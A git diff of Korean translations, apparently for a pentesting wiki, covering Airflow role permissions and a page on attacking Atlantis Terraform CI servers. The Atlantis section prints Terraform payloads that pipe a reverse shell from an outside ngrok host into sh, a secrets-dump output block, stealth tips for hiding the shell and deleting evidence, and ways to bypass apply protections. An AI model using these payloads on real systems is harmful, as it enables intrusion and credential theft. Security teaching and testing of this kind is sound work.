Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있으며, Task Reschedules에서 읽을 수 있으며, Task Reschedules에서 메뉴 접근, Triggers에서 읽을 수 있으며, Triggers에서 메뉴 접근, Passwords에서 읽을 수 있으며, Passwords에서 편집할 수 있으며, List Users에서 메뉴 접근, Security에서 메뉴 접근, List Roles에서 메뉴 접근, User Stats Chart에서 읽을 수 있으며, User's Statistics에서 메뉴 접근, Base Permissions에서 메뉴 접근, View Menus에서 읽을 수 있으며, Views/Menus에서 메뉴 접근, Permission Views에서 읽을 수 있으며, Views/Menus에서 Permission에 대한 메뉴 접근, MenuApi에서 가져올 수 있으며, Providers에서 메뉴 접근, XComs에서 생성할 수 있습니다.] +\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, Roles에서 읽기 가능, Permissions에서 읽기 가능, Roles에서 삭제 가능, Roles에서 편집 가능, Roles에서 생성 가능, Users에서 읽기 가능, Users에서 생성 가능, Users에서 편집 가능, Users에서 삭제 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능, Task Reschedules에서 읽기 가능, Task Reschedules 메뉴 접근, Triggers에서 읽기 가능, Triggers 메뉴 접근, Passwords에서 읽기 가능, Passwords에서 편집 가능, List Users 메뉴 접근, Security 메뉴 접근, List Roles 메뉴 접근, User Stats Chart에서 읽기 가능, User's Statistics 메뉴 접근, Base Permissions 메뉴 접근, View Menus에서 읽기 가능, Views/Menus 메뉴 접근, Permission Views에서 읽기 가능, Views/Menus의 Permission 메뉴 접근, MenuApi에서 가져오기 가능, Providers 메뉴 접근, XComs에서 생성 가능] - **Op** -\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있습니다.] +\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능] - **User** -\[DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있습니다.] +\[DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능] - **Viewer** -\[DAGs에서 읽을 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근] +\[DAGs에서 읽기 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근] - **Public** diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 5a2f6a278..7aec57c65 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -21,18 +21,18 @@ Atlantis는 기본적으로 git 서버의 Pull Requests에서 terraform을 실 **Atlantis**는 **Github**, **Gitlab**, **Bitbucket** 및 **Azure DevOps**와 같은 여러 git 호스트를 지원합니다.\ 그러나 이러한 플랫폼의 repo에 접근하고 작업을 수행하려면 **특권 접근 권한이 부여되어야** 합니다(최소한 쓰기 권한).\ -[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자를 이러한 플랫폼에서 생성할 것을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다. +[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자 생성을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다. > [!WARNING] -> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 매우 **흥미로운** **타겟**이 될 것입니다. +> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 **타겟으로 삼기 매우 흥미로운** 계정이 될 것입니다. #### Webhooks -Atlantis는 선택적으로 [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)를 사용하여 Git 호스트에서 수신하는 **webhooks**가 **정당한** 것인지 확인합니다. +Atlantis는 선택적으로 [**Webhook 비밀**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)을 사용하여 Git 호스트에서 수신하는 **webhook**이 **정당한** 것인지 확인합니다. -이를 확인하는 한 가지 방법은 **요청이 Git 호스트의 IP에서만 오도록 허용하는 것**이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다. +이를 확인하는 한 가지 방법은 **Git 호스트의 IP에서만 요청을 허용**하는 것이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다. -개인 github 또는 bitbucket 서버를 사용하지 않는 한, webhook 엔드포인트를 인터넷에 노출해야 합니다. +개인 github 또는 bitbucket 서버를 사용하지 않는 한 webhook 엔드포인트를 인터넷에 노출해야 합니다. > [!WARNING] > Atlantis는 **webhooks를 노출**하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서 **메시지를 보낼 수 있는지** 아는 것이 흥미로울 것입니다. @@ -43,14 +43,14 @@ Atlantis는 선택적으로 [**Webhook secrets**](https://www.runatlantis.io/doc Atlantis는 서버 **Atlantis가 호스팅되는** 곳에서 `terraform plan` 및 `apply` 명령을 단순히 **실행하여** Terraform을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로, Atlantis는 특정 공급자에 대한 자격 증명이 필요합니다. -Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)은 다음과 같습니다: +Atlantis에 특정 공급자에 대한 [자격 증명](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)을 제공하는 방법은 다음과 같습니다: -- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 및 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)은 공급자 자격 증명에 대한 자체 메커니즘을 가지고 있습니다. 문서를 읽어보세요. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 및 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)에는 자격 증명에 대한 자체 메커니즘이 있습니다. 문서를 읽어보세요. - 클라우드에서 Atlantis를 실행하는 경우, 많은 클라우드에서 클라우드 API 접근을 애플리케이션에 제공하는 방법이 있습니다. 예: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (검색어: "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY`. -- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials`. +- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY` +- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials` - [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)를 사용하여 공급자 자격 증명을 얻습니다. > [!WARNING] @@ -60,14 +60,14 @@ Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](ht 기본적으로 Atlantis는 **localhost의 포트 4141에서 웹 페이지를 실행**합니다. 이 페이지는 atlantis apply를 활성화/비활성화하고 repo의 계획 상태를 확인하고 잠금을 해제할 수 있도록 합니다(수정은 허용하지 않으므로 그리 유용하지는 않습니다). -인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하기 위해 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`가 **기본** 자격 증명입니다). +인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하는 데 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`가 **기본** 자격 증명입니다). ### Server Configuration `atlantis server`에 대한 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 이 세 가지의 조합을 통해 지정할 수 있습니다. -- Atlantis 서버에서 지원하는 [**플래그 목록은 여기**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)에서 확인할 수 있습니다. -- [**구성 옵션을 환경 변수로 변환하는 방법은 여기**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)에서 확인할 수 있습니다. +- Atlantis 서버에서 지원하는 [**플래그 목록**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)을 확인할 수 있습니다. +- [**구성 옵션을 환경 변수로 변환하는 방법**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)을 확인할 수 있습니다. 값은 **이 순서로 선택됩니다**: @@ -89,7 +89,7 @@ Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](ht **PR Protections** -Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다 **apply를 실행하기 전에**. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다. +Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다. `allowed_overrides`가 True인 경우, 이러한 설정은 **`/atlantis.yml` 파일**에서 각 프로젝트에 대해 **덮어쓸 수 있습니다**. @@ -97,15 +97,15 @@ Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나 repo 구성은 **워크플로우가 실행되기 전** [**이전**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) 및 [**후**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_)에 실행할 **스크립트**를 **지정할 수 있습니다**. -repo `/atlantis.yml` 파일에서 이러한 스크립트를 **지정하는** 옵션은 없습니다. +**repo `/atlantis.yml`** 파일에서 이러한 스크립트를 **지정할 수 있는** 옵션은 없습니다. **Workflow** -repo 구성(서버 측 구성)에서 [**새 기본 워크플로우를 지정할 수 있습니다**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) 또는 [**새 사용자 정의 워크플로우를 생성할 수 있습니다**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** 또한 **어떤 repo**가 생성된 **새** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\ +repo 구성(서버 측 구성)에서 [**새 기본 워크플로우**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)를 **지정하거나** [**새 사용자 정의 워크플로우**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**를 생성할 수 있습니다.** 또한 **어떤 repo**가 생성된 **새로운** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\ 그런 다음 각 repo의 **atlantis.yaml** 파일이 **사용할 워크플로우를 지정할 수 있도록** 허용할 수 있습니다. > [!CAUTION] -> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** **`workflow`**를 지정해야 할 수도 있습니다.\ +> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** 지정해야 할 수도 있습니다.\ > 이는 기본적으로 **해당 repo에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**하게 됩니다. > > ```yaml @@ -129,11 +129,11 @@ repo 구성(서버 측 구성)에서 [**새 기본 워크플로우를 지정할 Atlantis는 **서버 측** [**conftest**](https://www.conftest.dev/) **정책**을 계획 출력에 대해 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사용 사례는 다음과 같습니다: - 모듈 목록 사용 거부 -- 리소스 생성 시 속성 주장 +- 생성 시 리소스의 속성 주장 - 의도하지 않은 리소스 삭제 포착 - 보안 위험 방지(예: 보안 포트를 공개에 노출) -구성 방법은 [**문서에서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) 확인할 수 있습니다. +구성 방법은 [**문서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)에서 확인할 수 있습니다. ### Atlantis Commands @@ -160,7 +160,7 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` -### Attacks +### 공격 > [!WARNING] > 만약 공격 중에 이 **오류**를 발견하면: `Error: Error acquiring the state lock` @@ -170,11 +170,11 @@ atlantis apply [options] -- [terraform apply flags] atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` -#### Atlantis plan RCE - 새로운 PR에서의 구성 수정 +#### Atlantis plan RCE - 새로운 PR에서 구성 수정 -저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면** (또는 자동으로 실행될 수도 있습니다) **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**. +저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면 (또는 자동으로 실행될 수도 있습니다)** **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**. -[**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. 다음과 같은 페이로드를 `main.tf` 파일에 넣기만 하면 됩니다: +다음과 같이 [**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. `main.tf` 파일에 다음과 같은 페이로드를 넣으세요: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **은밀한 공격** -이 공격을 **은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요: +이 공격을 **더 은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요: - terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 **외부 리소스**를 **로드**할 수 있습니다: ```javascript @@ -190,29 +190,29 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)에서 rev shell 코드를 찾을 수 있습니다. - 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 예를 들어: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **PR을 master에 생성하는 대신** Atlantis를 트리거하기 위해 **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**. +- **마스터에 PR을 생성하는 대신** **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**. -#### Atlantis plan Secrets Dump +#### Atlantis 계획 비밀 덤프 -다음과 같이 terraform 파일에 입력하여 `atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**: +`atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**. terraform 파일에 다음과 같은 내용을 넣으세요: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - 새로운 PR에서의 구성 수정 +#### Atlantis apply RCE - 새로운 PR에서 구성 수정 -저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다.** +저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다**. 그러나 일반적으로 몇 가지 보호 장치를 우회해야 합니다: -- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable일 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다). -- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) 확인 -- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다.** -- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable할 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다). +- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)를 확인하세요. +- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다**. +- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md). 악의적인 Terraform 파일에서 **`terraform apply`를 실행하는 것**은 [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ 다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다: @@ -233,9 +233,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ``` 이 공격을 **더 은밀한 방법**으로 수행하기 위해 **이전 기술의 제안**을 따르십시오. -#### Terraform Param Injection +#### Terraform 파라미터 주입 -`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다: +`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 내부에서 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +환경 변수를 전달할 수 있으며, 이는 일부 보호를 우회하는 데 도움이 될 수 있습니다. [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)에서 terraform env vars를 확인하세요. -#### Custom Workflow +#### 사용자 정의 워크플로우 -Running **악의적인 사용자 정의 빌드 명령** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +`atlantis.yaml` 파일에 지정된 **악의적인 사용자 정의 빌드 명령**을 실행합니다. Atlantis는 `master`가 아닌 풀 요청 브랜치의 `atlantis.yaml` 파일을 사용합니다.\ +이 가능성은 이전 섹션에서 언급되었습니다: > [!CAUTION] -> If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **지정** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 리포의 **`atlantis.yaml`** 파일에 워크플로우를 **지정**할 수 있습니다. 또한 **`allowed_overrides`**가 **워크플로우를 우회**하기 위해 **`workflow`**를 지정해야 할 수도 있습니다. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> 이는 기본적으로 **해당 리포에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**합니다. > > ```yaml > # atlantis.yaml @@ -272,9 +272,9 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections +#### 계획/적용 보호 우회 -If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +[**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allowed_overrides`가 `apply_requirements`로 구성되어 있으면, 리포가 **계획/적용 보호를 수정하여 우회할 수 있습니다**. ```yaml repos: - id: /.*/ @@ -282,9 +282,9 @@ apply_requirements: [] ``` #### PR Hijacking -누군가 **유효한 풀 리퀘스트에 `atlantis plan/apply` 댓글을 달면,** 원하지 않을 때 terraform이 실행됩니다. +누군가 **`atlantis 